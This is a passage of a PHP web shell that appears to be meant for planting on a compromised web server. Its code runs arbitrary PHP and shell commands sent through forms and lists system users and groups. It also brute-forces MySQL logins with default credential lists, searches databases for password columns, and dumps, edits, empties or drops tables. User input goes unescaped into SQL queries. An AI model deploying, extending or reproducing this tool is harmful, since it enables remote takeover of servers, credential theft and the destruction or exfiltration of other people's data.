753 if($dir) {
754 if(@mkdir($dir)) {
755 echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" made successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($dir)."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
756 } else echo "<font color=\"#990000\"><b>Error:</b> directory \"".htmlentities($dir)."\" could not be made (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
757 }
758 break;
759 case "eval":
760 if(!request('shownone')) {
761 ?>
762 Eval (execute) this code:
763 <form method="POST" action="?action=eval">
764 <input type="checkbox" name="shownone" value="1" <?php if(request('shownone')) echo "CHECKED";?>> Do not echo out anything except for the output of the executed code<br>
765 <input type="checkbox" name="showallerrors" value="1" <?php if(request('showallerrors')) echo "CHECKED";?>> Show all PHP errors, warnings and notices<br>
766 <textarea name="eval" style="width:90%;height:500;"><?php echo htmlentities(request('eval'));?></textarea><br>
767 <input type="submit" value="execute">
768 </form>
769 <?php
770 }
771 if(request('eval')) {
772 if(!request('shownone')) echo "evaling PHP Code below:<hr>";
773 if(request('showallerrors')) {
774 @ini_set("error_reporting", "E_ALL");
775 @error_reporting(E_ALL);
776 }
777 eval(request('eval'));
778 }
779 break;
780 case "shellexec":
781 ?>
782 execute this shell (one command per line):
783 <form method="POST" action="?action=shellexec">
784 <textarea name="shellexec" style="width:90%;height:500;"><?php echo htmlentities(request('shellexec'));?></textarea><br>
785 <input type="checkbox" name="processasmany" value="1" <?php if(request('processasmany')) echo "CHECKED"; ?>> Proccess seperately (only check if the commands don't have anything to do with each other)
786 <input type="submit" value="execute">
787 </form>
788 <?php
789 if(request('shellexec')) {
790 if(!request('processasmany')) {
791 echo "executing shell below:<hr><pre>";
792 echo "<b>".htmlentities(request('shellexec'))."</b><hr><br>".htmlentities(shell_exec(str_replace("\r","",request('shellexec'))))."<hr>";
793 echo "<hr></pre>";
794 } else {
795 $commands = explode("\n",str_replace("\r","",request('shellexec')));
796 echo "executing shell below:<hr><pre>";
797 foreach($commands as $cmd) echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(shell_exec($cmd))."<hr>";
798 echo "<hr></pre>";
799 }
800 }
801 break;
802 case "exec":
803 ?>
804 execute this program (one command per line):
805 <form method="POST" action="?action=exec">
806 <textarea name="exec" style="width:90%;height:500;"><?php echo htmlentities(request('exec'));?></textarea><br>
807 <input type="submit" value="execute">
808 </form>
809 <?php
810 if(request('exec')) {
811 $commands = explode("\n",str_replace("\r","",request('exec')));
812 echo "executing below:<hr><pre>";
813 foreach($commands as $cmd) { if(trim($cmd)) { exec($cmd,$output,$ret); echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(print_r($output,true))."<hr>Return status:".htmlentities($ret)."<hr>";}}
814 echo "<hr></pre>";
815 }
816 break;
817 case "phpinfo":
818 phpinfo();
819 break;
820 case "system":
821 ?>
822 <h2>System</h1>
823 <?php $sys = posix_uname(); ?>
824 Sysname: <?php echo htmlentities($sys['sysname']); ?><br />
825 nodename: <?php echo htmlentities($sys['nodename']); ?><br />
826 release: <?php echo htmlentities($sys['release']); ?><br />
827 version: <?php echo htmlentities($sys['version']); ?><br />
828 machine: <?php echo htmlentities($sys['machine']); ?><br />
829 <?php
830 if(isset($_GET['start']) && (int)get('start')) $start = (int)get('start');
831 else $start = 0;
832 if(isset($_GET['end']) && (int)get('end')) $end = (int)get('end');
833 else $end = 20000;
834 if(isset($_GET['startg']) && (int)get('startg')) $startg = (int)get('startg');
835 else $startg = 0;
836 if(isset($_GET['endg']) && (int)get('endg')) $endg = (int)get('endg');
837 else $endg = 500;
838 ?>
839 <form method="get">
840 <input type="hidden" name="action" value="system" /><br />
841 <b>UID Range:</b><br />
842 Start: <input type="text" name="start" value="<?php echo $start; ?>" /><br />
843 End: <input type="text" name="end" value="<?php echo $end; ?>" /><br />
844 <b>GID Range:</b><br />
845 Start: <input type="text" name="startg" value="<?php echo $startg; ?>" /><br />
846 End: <input type="text" name="endg" value="<?php echo $endg; ?>" /><br />
847 <input type="submit" />
848 </form>
849 <h2>Users</h2>
850 <ul>
851 <?php
852 for($i = $start;$i < $end;$i++) {
853 $user = posix_getpwuid($i);
854 if($user) {
855 echo "<li> <b>".htmlentities($user['name'])."</b>
856 <blockquote>passwd: ".htmlentities($user['passwd'])."<br /> uid/gid: ".htmlentities($user['uid'])." / ".htmlentities($user['gid'])."<br /><!--gecos: ".htmlentities($user['gecos'])."<br />-->dir: ".htmlentities($user['dir'])."<br /><!--shell: ".htmlentities($user['shell'])."--></blockquote></li>";
857 } elseif($user === null) {
858 echo "<li> <b>Error:</b> posix_getpwuid() returned null. Should either return array or false. This most likely means it is disabled on this server. Stopping.</li>";
859 break;
860 }
861
862 }?>
863 </ul>
864 <h2>Groups</h2>
865 <ul>
866 <?php
867 for($i = $startg;$i < $endg;$i++) {
868 $group = posix_getgrgid($i);
869 if($group) {
870 echo "<li> <b>".htmlentities($group['name'])."</b>
871 <blockquote>passwd: ".htmlentities($group['passwd'])."<br /> gid: ".htmlentities($group['gid'])."<br /> Members: <ul>";
872 foreach($group['members'] as $member) {
873 echo "<li>".$member."</li>";
874 }
875 echo "</ul></blockquote></li>";
876 }
877
878 }//echo "<pre>";print_r(posix_getgrgid(103));print_r(posix_getgrgid(50));
879 ?>
880 </ul>
881 <?php
882 break;
883 case "showglobals":
884 echo "<pre>";
885 echo htmlentities(print_r($GLOBALS,true));
886 echo"</pre>";
887 break;
888 case "mysql":
889 switch(get('type')) {
890 default:
891 ?>
892 [<a href="?action=mysql&type=bf">Brute Force</a>]
893 [<a href="?action=mysql&type=query">Query</a>]
894 [<a href="?action=mysql&type=miniadmin">MiniAdmin</a>]
895 <?php
896 break;
897 case "bruteforce":
898 case "bf":
899 if(!post('users') || !post('passes')) {
900 ?>
901 <form method="POST" action="?action=mysql&type=bruteforce">
902 <h3 style="margin:2px;">Brute force:</h3>
903 <textarea name="users" style="width:40%;height:350;"><?php echo (post('users') ? htmlentities(post('users')) : "root\nmysql\n".@get_current_user());?></textarea> <textarea name="passes" style="width:40%;height:350;"><?php echo (post('passes') ? htmlentities(post('passes')) : "\n\nmysql\n".@get_current_user());?></textarea><br>
904 <input type="submit" value="execute">
905 </form>
906 <?php
907 } else {
908 $passes = explode("\n",str_replace("\r","",post('passes')));
909 $users = explode("\n",str_replace("\r","",post('users')));
910 foreach($users as $user) {
911 foreach($passes as $pass) {
912 if(@mysql_pconnect('localhost',$user,$pass)) {
913 echo "<b>Success</b> with combination: <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
914 } else {
915 echo "Failure with combination: <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
916 }
917 }
918 }
919 }
920 break;
921 case "query":
922 if(!isset($_POST['user']) || !isset($_POST['pass']) || !post('query')) {
923 ?>
924 <form method="post" action="?action=mysql&type=query">
925 MySQL host: <input type="text" name="host" value="<?php echo (post('host') ? htmlentities(post('host')) : 'localhost'); ?>" /><br />
926 MySQL user*: <input type="text" name="user" value="<?php echo htmlentities(post('user')); ?>" /><br />
927 MySQL pass: <input type="text" name="pass" value="<?php echo htmlentities(post('pass')); ?>" /><br />
928 MySQL database: <input type="text" name="database" value="<?php echo htmlentities(post('database')); ?>" /><br />
929 <textarea style="width:90%;height:300px;" name="query"><?php echo htmlentities(post('query')); ?></textarea><br />
930 Queries seperated by newlines.<br />
931 <input type="checkbox" name="cancelonfail" value="1" <?php if(post('cancelonfail')) echo "CHECKED"; ?>>Stop if a query fails?<br />
932 <input type="submit" value="Do it!" />
933 </form>
934 <b>Useful Queries:</b><br />
935 <ul>
936 <li>SHOW DATABASES;</li>
937 <li>USE <i>[database name]</i>;</li>
938 <li>SHOW TABLES;</li>
939 <li>SHOW COLUMNS IN <i>[table name]</i>;</li>
940 <li>SELECT * FROM <i>[table name]</i> LIMIT <i>1</i>;</li>
941 <li>SELECT * FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
942 <li>DELETE FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
943 <li>DELETE FROM <i>[table name]</i>;</li>
944 <li>UPDATE <i>[table name]</i> SET <i>[column name]</i>='<i>value</i>', <i>[column name]</i>='<i>value</i>' WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
945 </ul>
946 <?php
947 } else {
948 $connection = @mysql_pconnect((post('host') ? post('host') : 'localhost'),post('user'),post('pass')) or die('<b>Error:</b> Could not connect to the server. Wrong pass/user?');
949 echo "Connection established.<br />";
950 if(post('database')) {
951 @mysql_select_db(post('database'),$connection) or die('<b>Error:</b> no connection to the database. Does it exist?');
952 echo "Database selected.<br />";
953 }
954 $queries = explode("\n",str_replace("\r","",post('query')));
955 foreach($queries as $query) {
956 if($query) {
957 echo "<blockquote>";
958 if($q = mysql_query($query)) {
959 $aff_row = mysql_affected_rows();
960 echo "Query successful! (".$aff_row." affected rows)<br /><input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br />";
961 if(is_resource($q)) {
962 echo "<b>Query Result:</b><br />";
963 echo "<blockquote>";
964 while($qr = mysql_fetch_assoc($q)) {
965 echo "<pre>".htmlentities(print_r($qr,true))."</pre><hr />";
966 }
967 echo "</blockquote>";
968 } else {
969 echo "Query is resultless. (this means it's a query that will never return anything - like update or delete, not an empty select)<br />";
970 }
971 } else {
972 echo "<b>Query failed!</b><br />Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br /><b>MySQL error:</b> ".mysql_error()."<br />";
973 if(post('cancelonfail')) {
974 echo "</blockquote><hr />Query failed! stopping!<br />";
975 break;
976 }
977 }
978 echo "</blockquote><hr />";
979 }
980 }
981 echo "All done!<br />";
982 }
983 break;
984 case "miniadmin":
985 if(isset($_GET['u']) && isset($_GET['p'])) {
986 $url = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p')).(get('shownodbs') ? "&shownodbs=1" : "").(get('heavyloadmode') ? "&heavyloadmode=1" : "");
987 if($mcon = @mysql_pconnect((get('h') ? get('h') : 'localhost'),get('u'),get('p'))) {
988 if(!get('shownone')) {
989 echo "<b>".htmlentities(get('h'))."</b> - ".htmlentities(get('db'))."<br />";
990 $databases = mysql_list_dbs();
991 echo "Databases: | ";
992 if(!get('shownodbs')) {
993 while ($row = mysql_fetch_row($databases)) {
994 if(get('db') != $row[0]) echo "<a href=\"".$url."&db=".htmlentities(urlencode($row[0]))."\">".$row[0]."</a> | \n";
995 else echo "<b>".$row[0]."</b> | ";
996 }
997 } else echo "Databases are hidden.";
998 echo "<hr />";
999 }
1000 if(get('db')) {
1001 $urld = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db')).(get('shownodbs') ? "&shownodbs=1" : "").(get('heavyloadmode') ? "&heavyloadmode=1" : "");
1002 if(@mysql_select_db(get('db'),$mcon)) {
1003 if(!get('shownone')) {
1004 $tables = mysql_query("SHOW TABLES");
1005 if($tables) {
1006 echo "Tables: | ";
1007 while ($row = mysql_fetch_row($tables)) {
1008 if(get('tb') != $row[0]) echo "<a href=\"".$url."&db=".get('db')."&tb=".$row[0]."\">".$row[0]."</a> | \n";
1009 else echo "<b>".$row[0]."</b> | ";
1010 }
1011 echo "<hr />";
1012 } else {
1013 echo "<b>Error:</b> The SHOW TABLES query failed! (".mysql_error().")<hr />";
1014 }
1015 }
1016 if(get('tb')) {
1017 $urlt = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db'))."&tb=".urlencode(get('tb')).(get('shownodbs') ? "&shownodbs=1" : "").(get('heavyloadmode') ? "&heavyloadmode=1" : "");
1018 switch(get('ta')) {
1019 default:
1020 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
1021 if($getcolumns) {
1022 ?><table border="1"><tr><td>Field</td><td>type</td><td>Key</td><td>default</td><td>AI?</td><td>Null?</td></tr><?php
1023 while($column = mysql_fetch_assoc($getcolumns)) {
1024 echo "<tr><td>".htmlentities($column['Field'])."</td><td>".htmlentities($column['Type'])."</td><td>".htmlentities(($column['Key'] ? $column['Key'] : 'none'))."</td><td>".htmlentities($column['Default'])."</td><td>".($column['Extra'] == "auto_increment" ? "y" : "n")."</td><td>".htmlentities($column['Null'])."</td></tr>";
1025 }
1026 ?></table><br /><?php
1027 } else die ("<b>Error:</b> Could not retrieve columns!<br />");
1028 if(!get('heavyloadmode')) {
1029 list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."`"));
1030 echo "Number of entries: ".$totalrows."<br />";
1031 }
1032 echo "<hr />";
1033 break;
1034 case "delrow":
1035 echo "<b>Deleting a row</b><br />";
1036 $iden = get('trid');
1037 if($query = get_iden_query($iden)) {
1038 $getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
1039 if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
1040 echo "Row found!<br />";
1041 if(!post('sure')) {
1042 echo "<b>Are you sure you want to delete this row?</b><br /><form method='post'><input type='checkbox' name='sure' value='1' />Yes<br /><input type='submit'></form><b>Rowdata:</b><br />";
1043 foreach($rowdata as $key => $val) {
1044 echo "<u>".htmlentities($key)."</u>: <br />";
1045 echo "<textarea>".htmlentities($val)."</textarea><br /><br />";
1046 }
1047 } else {
1048 $quer = "DELETE FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1";
1049 echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
1050 if(mysql_query($quer)) {
1051 echo "Deleted row successfully";
1052 } else echo "<b>Mysql error while deleting:</b> ".htmlentities(mysql_error());
1053 }
1054 } else echo "Error: This row could not be found. Have you already deleted it?";
1055 }
1056 echo "<hr />";
1057 break;
1058 case "editrow":
1059 echo "<b>Editing a row</b><br />";
1060 $iden = get('trid');
1061 if($query = get_iden_query($iden)) {
1062 $getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
1063 if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
1064 echo "Row found!<br /><br />";
1065 if(!$_POST) {
1066 echo "<form method='post'><b>Edit the values below:</b><br />";
1067 foreach($rowdata as $key => $val) {
1068 echo "<u>".htmlentities($key)."</u>: <br />";
1069 echo "<textarea style='width:90%;height:110px;' name=\"".htmlentities($key)."\">".htmlentities($val)."</textarea><br /><br />";
1070 }
1071 echo "<input type='submit' value='Edit!' /></form>";
1072 } else {
1073 $q2 = "";
1074 foreach($rowdata as $key => $val) {
1075 if(isset($_POST[$key]) && post($key) != $val) $q2 .= ($q2 ? ', ' : '')."`".$key."`='".post($key)."'";
1076 }
1077 if($q2) {
1078 $quer = "UPDATE `".mysql_real_escape_string(get('tb'))."` SET ".$q2." WHERE ".$query." LIMIT 1";
1079 echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
1080 if(mysql_query($quer)) {
1081 echo "Edited row successfully";
1082 } else echo "<b>Mysql error while editing:</b> ".htmlentities(mysql_error());
1083 } else echo "Error: You didn't change any rows!";
1084 }
1085 } else echo "Error: This row could not be found. Have you already deleted it?";
1086 }
1087 echo "<hr />";
1088 break;
1089 case "view":
1090 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
1091 if($getcolumns) {
1092 $columns = array();
1093 while($column = mysql_fetch_assoc($getcolumns)) {
1094 $columns[] = $column;
1095 }
1096 } else die("<b>Error:</b> Could not retrieve columns! (".mysql_error().")<br />");
1097 $s = ((int)get('s') ? (int)get('s') : 0);
1098 $n = ((int)get('n') ? (int)get('n') : 100);
1099 $limit = $s.",".$n;
1100
1101 $userwhere = "";
1102 if(get('cwhere')) {
1103 //if(substr(trim(get('cwhere')),0,5) != 'where') $userwhere = "WHERE ".get('chwere');
1104 $userwhere = get('cwhere');
1105 }
1106
1107 $query = "SELECT * FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere." LIMIT ".$limit;
1108 $getrows = mysql_query($query);
1109 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1110 echo '<form method="get" style="display:inline;">';
1111 foreach($_GET as $k => $v) if(!in_array($k,array("s","cwhere"))) echo "<input type=\"hidden\" name=\"".htmlentities($k)."\" value=\"".htmlentities($v)."\" />";
1112 echo 'Your custom additions: <input type="text" name="cwhere" value="'.(get('cwhere') ? htmlentities(get('cwhere')) : 'WHERE 1').'" size="60" /><input type="submit" value="change query"></form><br />';
1113 if($getrows) {
1114 if(!get('heavyloadmode')) {
1115 list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere));
1116 echo '<b>Page '.($n ? ($s/$n)+1 : 1).'</b> (Selecting '.$n.' out of a total of '.$totalrows.' rows, starting at '.$s.')<br />';
1117 if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1118 if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1119 } else echo '<b>Page '.($n ? ($s/$n)+1 : 1).'</b> (Selecting '.$n.' out of a total of ??? rows, starting at '.$s.')<br />[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>][<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1120 echo "<table border='1'>\n<tr>";
1121 echo "<td>#</td><td></td>";
1122 $prim = array();
1123 foreach($columns as $column) {
1124 echo "<td>".($column['Key'] ? "<b>" : "").htmlentities($column['Field']).($column['Key'] ? "</b>" : "")." <i>(".htmlentities($column['Type']).")</i></td>";
1125 if($column['Key'] == "PRI") $prim[] = $column;
1126 }
1127 if(!$prim) $prim = $columns;
1128 echo "</tr>\n";
1129 $i = $s;
1130 while($row = mysql_fetch_assoc($getrows)) {
1131 $outp = "";
1132 $primaries = "";
1133 foreach($columns as $column) {
1134 if(in_array($column,$prim)) $primaries .= ($primaries ? "&" : "").urlencode($column['Field'])."=".htmlentities(urlencode($row[$column['Field']]));
1135 $outp .= "<td>";
1136 $size = 0;
1137 if(strpos($column['Type'],"(") === false) list($type) = explode("(",str_replace(")","",$column['Type']),2);
1138 else list($type,$size) = explode("(",str_replace(")","",$column['Type']),2);
1139 $size = intval($size);
1140 switch($type) {
1141 default: $outp .= htmlentities($row[$column['Field']]); break;
1142 case "int": $outp .= $row[$column['Field']]; break;
1143 case "varchar": case "char": $outp .= '<input type="text" size="'.(($size > 0 && $size < 20) ? $size : 25).'" value="'.htmlentities($row[$column['Field']]).'" />'; break;
1144 case "text": case "longtext": $outp .= '<textarea style="width:200px; height:50px;">'.htmlentities($row[$column['Field']]).'</textarea>'; break;
1145 }
1146 $outp .= "</td>";
1147 }
1148 $identification = "trid=".base64_encode($primaries);
1149 echo "<tr ".(($i%2) ? 'bgcolor="#EEEEEE"' : '')."><td>".$i."</td><td><a href='".$urlt."&ta=delrow&".$identification."'>X</a> <a href='".$urlt."&ta=editrow&".$identification."'>E</a></td>";
1150 $outp .= "</tr>\n";
1151 echo $outp;
1152 $i++;
1153 }
1154 echo "</table>";
1155 if(!get('heavyloadmode')) {
1156 if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1157 if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1158 } else echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>][<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1159 } else echo "<b>Error:</b> Could not get data due to mysql error (".mysql_error().")<br />";
1160 echo "<hr />";
1161 break;
1162 case "empty":
1163 if(post('sure')) {
1164 $query = "DELETE FROM `".mysql_real_escape_string(get('tb'))."`";
1165 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1166 if(mysql_query($query)) echo "Successfully emptied the table!<br />";
1167 else echo "MySQL error while emptying table: ".mysql_error()."<br />";
1168 } else {
1169 ?>
1170 <form method="post" action="<?php echo htmlentities($urlt);?>&ta=empty">Are you sure you want to empty the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1171 <?php
1172 }
1173 echo "<hr />";
1174 break;
1175 case "drop":
1176 if(post('sure')) {
1177 $query = "DROP TABLE `".mysql_real_escape_string(get('tb'))."`";
1178 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1179 if(mysql_query($query)) echo "Successfully dropped the table!<br />";
1180 else echo "MySQL error while dropping the table: ".mysql_error()."<br />";
1181 } else {
1182 ?>
1183 <form method="post" action="<?php echo htmlentities($urlt);?>&ta=drop">Are you sure you want to drop the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1184 <?php
1185 }
1186 echo "<hr />";
1187 break;
1188 case "dlsql":
1189 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb').".sql\"");
1190 @header("Content-type: text/plain");
1191 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1192 echo "-- - table structure: ".get('h')." / ".get('db')." / ".get('tb')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1193 gettablesql(get('tb'));
1194 exit;
1195 break;
1196 case "dlsqldump":
1197 @set_time_limit(0);
1198 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb')."-data.sql\"");
1199 @header("Content-type: text/plain");
1200 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1201 echo "-- - table dump: ".get('h')." / ".get('db')." / ".get('tb')."\n-- - ".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1202 gettablesql(get('tb'));
1203 gettablecontentsql(get('tb'),((int)get('break') ? (int)get('break') : 100));
1204 exit;
1205 break;
1206 case "dlsqldump_partial":
1207 if(post('limit')) $limit = "LIMIT ".post('limit');
1208 else $limit = "";
1209 if(post('where')) $part = "WHERE ".post('where');
1210 else $part = "";
1211 if(post('order')) $order = "ORDER BY ".post('order');
1212 else $order = "";
1213 if(!$part && !$limit) {
1214 ?>
1215 <form method="post" action="<?php echo htmlentities($urlt);?>&ta=dlsqldump_partial&shownone=1">
1216 Partial dump of a table, eh? Alright. <br />
1217 <b>So this would be your query:</b><br />
1218 SELECT * FROM <?php echo htmlentities(get('tb')); ?> <br />
1219 WHERE <input type="text" name="where" value="" /> <i>(You can leave this empty if you don't want to get special results)</i><br />
1220 ORDER BY <input type="text" name="order" value="" /> <i>(You can leave this empty if you don't want to order)</i><br />
1221 LIMIT <input type="text" name="limit" value="" /> <i>(You can leave this empty if you don't want to limit it)</i><br />
1222 <input type="submit" value="Do it!" />
1223 </form>
1224 <hr />
1225 <?php
1226
1227 } else {
1228 @set_time_limit(0);
1229 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb')."-data-partial.sql\"");
1230 @header("Content-type: text/plain");
1231 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1232 echo "-- - table dump partial: ".get('h')." / ".get('db')." / ".get('tb')."\n-- - ".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n-- - Partial dump:\n".(post('where') ? ("-- - WHERE ".str_replace(array("\n","\r"),"",post('where'))."\n") : '').(post('limit') ? ("-- - LIMIT ".str_replace(array("\n","\r"),"",post('limit'))."\n") : '').(post('order') ? ("-- - ORDER BY ".str_replace(array("\n","\r"),"",post('order'))."\n") : '');
1233 gettablesql(get('tb'));
1234 gettablecontentsql(get('tb'),((int)get('break') ? (int)get('break') : 100),0,$part,$limit,$order);
1235 exit;
1236 }
1237 break;
1238 }
1239 if(!get('shownone')) {
1240 echo '<b>Table actions:</b><br />[<a href="'.$urlt.'&ta=view&s=0&n=10">view data</a> 10/page] [<a href="'.$urlt.'&ta=view&s=0&n=50">view data</a> 50/page] [<a href="'.$urlt.'&ta=view&s=0&n=100">view data</a> 100/page] [<a href="'.$urlt.'&ta=view&s=0&n=200">view data</a> 200/page] [<a href="'.$urlt.'&ta=view&s=0&n=500">view data</a> 500/page] [<a href="'.$urlt.'&ta=view&s=0&n=1000">view data</a> 1000/page]<br />';
1241 echo '[<a href="'.$urlt.'">view structure</a>] [<a href="'.$urlt.'&ta=empty">empty</a>] [<a href="'.$urlt.'&ta=drop">drop</a>] [<a href="'.$urlt.'&ta=insert">insert</a>] [<a href="'.$urlt.'&ta=dlsql&shownone=1">download table structure (sql)</a>] [<a href="'.$urlt.'&ta=dlsqldump&shownone=1">download table dump (sql)</a>] [<a href="'.$urlt.'&ta=dlsqldump_partial">download partial table dump (sql)</a>]';
1242 echo "<hr />";
1243 }
1244 } else {//no table selected
1245 switch(get('da')) {
1246 default:
1247
1248 break;
1249 case "dlsql":
1250 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db').".sql\"");
1251 @header("Content-type: text/plain");
1252 $gettables = mysql_query("SHOW TABLES");
1253 $tables = array();
1254 echo "-- - Database structure: ".get('h')." / ".get('db')."\n-- -".date('r')."\n";
1255 while($table= mysql_fetch_row($gettables)) {
1256 gettablesql($table[0]);
1257 }
1258 break;
1259 case "dlsqldump":
1260 @set_time_limit(0);
1261 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-data.sql\"");
1262 @header("Content-type: text/plain");
1263 $gettables = mysql_query("SHOW TABLES");
1264 $tables = array();
1265 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1266 echo "-- - Database dump: ".get('h')." / ".get('db')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1267 while($table= mysql_fetch_row($gettables)) {
1268 echo "\n-- - Table structure: ".$table[0]."\n";
1269 gettablesql($table[0]);
1270 echo "\n-- - Table data: ".$table[0]."\n";
1271 gettablecontentsql($table[0],((int)get('break') ? (int)get('break') : 1000));
1272 echo "\n\n";
1273 }
1274 exit;
1275 break;
1276
1277 }
1278 }
1279 if(!get('shownone')) echo '<b>Database actions:</b> <br />[<a href="'.$urld.'&da=dlsql&shownone=1">download database structure (sql)</a>] [<a href="'.$urld.'&da=dlsqldump&shownone=1">download database dump (sql)</a>] <hr />';
1280
1281 } else {
1282 die( "<b>Error:</b> Selected database does not exist/can't be accessed.<br />");
1283 }
1284 } else {
1285 switch(get('a')) {
1286 case "findpwcols":
1287 echo "<b>Finding columns containing 'pass' or 'pw'</b><br />";
1288 $needle = array('pass','pw');
1289 findindb($needle,'col');
1290 echo "<hr />";
1291 break;
1292 case "find":
1293 if(post('find')) {
1294 echo "<b>Finding columns containing ".htmlentities(post('find'))."</b><br />";
1295 $needle = explode(",",str_replace(" ","",post('find')));
1296 if(post('type') == 'col') findindb($needle,'col',(post('stype') == 1));
1297 else findindb($needle,'table',(post('stype') == 1));
1298 echo "<hr />";
1299 } else {
1300 ?>
1301 <form method="POST" action="<?php echo htmlentities($_SERVER['REQUEST_URI']); ?>">
1302 Find<br />
1303 <input type="radio" name="type" value="col" />columns <input type="radio" name="type" value="table" /> tables<br />
1304 <input type="radio" name="stype" value="0" />containing <input type="radio" name="stype" value="1" /> named<br />
1305 <input type="text" name="find" value="" /> (Separated by comma)<br />
1306 <input type="submit" value="Do it!" />
1307 </form>
1308 <?php
1309 }
1310 break;
1311 case "dlsql":
1312 @header("Content-Disposition: attachment; filename=\"".get('h')."-alldbs.sql\"");
1313 @header("Content-type: text/plain");
1314 $dbprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('dbprefix'));
1315 $onlywithprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('onlywithprefix'));
1316 $getdatabases = mysql_list_dbs();
1317 if($onlywithprefix ) echo "-- - Only tables with prefix: ".$onlywithprefix."\n";
1318 while ($db = mysql_fetch_row($getdatabases)) {
1319 if(!$onlywithprefix || substr($db[0],0,strtolower(strlen($onlywithprefix))) == strtolower($onlywithprefix)) {
